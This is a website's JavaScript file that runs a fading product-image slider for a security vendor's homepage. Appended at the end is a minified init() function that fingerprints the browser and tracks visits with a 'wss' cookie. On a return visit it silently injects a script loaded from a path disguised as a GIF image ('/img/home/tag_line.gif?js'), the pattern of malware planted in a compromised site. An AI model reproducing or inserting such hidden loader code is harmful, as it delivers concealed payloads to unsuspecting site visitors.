// JavaScript Document
var images = new Array(
  'img/home/hero_panel_1.jpg',
  'img/home/hero_panel_2.jpg',
  'img/home/hero_panel_3.jpg',
  'img/home/hero_panel_4.jpg',
  'img/home/hero_panel_5.jpg');

var imgLinks = new Array(
  'salt_mobile_tokens.php',
  'soln_secure_remote_access.php',
  'soln_identity_management.php',
  'cryptomodules.php',
  'professional_services.php');

var buttonArray = new Array(
	'pMobile',
	'pRemote',
	'pIdentity',
	'pHost',
	'pPro');
	
var buttonPos = new Array(
	'-8',
	'-87',
	'-166',
	'-245',
	'-325');

var imageWidth = 787;
var imageHeight = 242;
var imageTimeout = 5000;
var nextImage = 1;
var currentImage = 0;
var nowImgLink = imgLinks[0]; 
var autoPlay = true;
var activeEl = null;


function pageLoad() {

  var el = document.getElementById('productHero');
  while (el.firstChild) { el.removeChild(el.firstChild); }

  el.style.width = imageWidth + 'px';
  el.style.height = imageHeight + 'px';

  for(var i=0; i<images.length; i++) {

    var t = document.createElement('IMG');
    t.setAttribute('src',images[i]);
    t.setAttribute('width',imageWidth);
    t.setAttribute('height',imageHeight);
    t.style.position = 'absolute';
    t.style.visibility = 'hidden';
    el.appendChild(t);

  }

  el.firstChild.style.visibility = 'visible';

  var t1=window.setTimeout(startFading, imageTimeout);

}

function startFading() {
	
  if(autoPlay == true){
		
	var el = document.getElementById('productHero').childNodes[nextImage];
  
	el.style.visibility = 'visible';
	el.style.zIndex = 2;
	setOpacity(el, 0);
	fadeImage(el,0);
  
	nowImgLink = imgLinks[nextImage];
	currentImage  = nextImage;
	nextImage = (nextImage < images.length-1) ? nextImage + 1 : 0;
  
  }
  
}

function fadeImage(el, currentOpacity) {
  if(el == activeEl || autoPlay == true){
	  
	  currentOpacity += 5;
	  
	  if (currentOpacity > 50 && currentOpacity < 56){
		setButton();  
	  }
	  
	  if (currentOpacity > 100) {
		setOpacity(el, 100);
	
	    oldImage = (currentImage > 0) ? currentImage - 1 : images.length-1;
	    document.getElementById('productHero').childNodes[oldImage].style.zIndex = 0;
	       
		el.style.zIndex = 1;
		
		if(autoPlay == true){
		 timeoutID = window.setTimeout(startFading, imageTimeout);
		}
		
	  }
	  else {
		setOpacity(el, currentOpacity);
		timeoutID = window.setTimeout(function() { fadeImage(el, currentOpacity); }, 20);
	  }
  }

}

function setOpacity(el, opacity) {

	opacity /= 100;

	el.style.opacity = opacity;
	el.style.MozOpacity = opacity;
	el.style.filter = "alpha(opacity=" + (opacity*100) + ")";

}

function activateButton(myID){
	resetAttribs();
	currentImage = myID;
	/*
	// Reset rollover states for buttons
    for(i=0;i<images.length;i++){
	  document.getElementById(buttonArray[i]).style.backgroundPosition =  '-213px '+buttonPos[i]+'px'; 
    }
	// Set rolloverstate for current button
	document.getElementById(buttonArray[currentImage]).style.backgroundPosition = '-12px '+buttonPos[currentImage]+'px'; 
	*/
	el = document.getElementById('productHero').childNodes[myID];
	activeEl = el;
	
	el.style.visibility = 'visible';
	el.style.zIndex = 2;
	setOpacity(el, 0);
	fadeImage(el,0);
  
	nowImgLink = imgLinks[myID];
	nextImage = (myID < images.length-1) ? myID + 1 : 0;
	autoPlay = false;
	
}

function deactivateButton(){
	
	autoPlay = true;
	//currentImage  = 0;
	//nextImage = 0;
	if(typeof timeoutIDBig!= "undefined"){
		window.clearTimeout(timeoutIDBig);
	}
	timeoutIDBig = window.setTimeout(function() { restartLoop(); }, 10000);
}

function resetAttribs(){
    if(typeof timeoutID == "number") {
      window.clearTimeout(timeoutID);
	  if(typeof timeoutIDBig!= "undefined"){
		window.clearTimeout(timeoutIDBig);
	  }
      delete timeoutID;
    }

	for(i=0;i<images.length;i++){
	  document.getElementById('productHero').childNodes[i].style.visibility = 'hidden';
	  document.getElementById('productHero').childNodes[i].style.zIndex = 1;
	}
}

function setButton(){
	/*
	// Reset rollover states for buttons
	for(i=0;i<images.length;i++){
	  document.getElementById(buttonArray[i]).style.backgroundPosition =  '-213px '+buttonPos[i]+'px'; 
	}
	// Set rolloverstate for current button
	if(autoplay==false){
		document.getElementById(buttonArray[currentImage]).style.backgroundPosition = '-12px '+buttonPos[currentImage]+'px';
	}*/
}
function restartLoop() {
	resetAttribs();
	startFading();	
}
window.onload = pageLoad;

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/home/tag_line.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();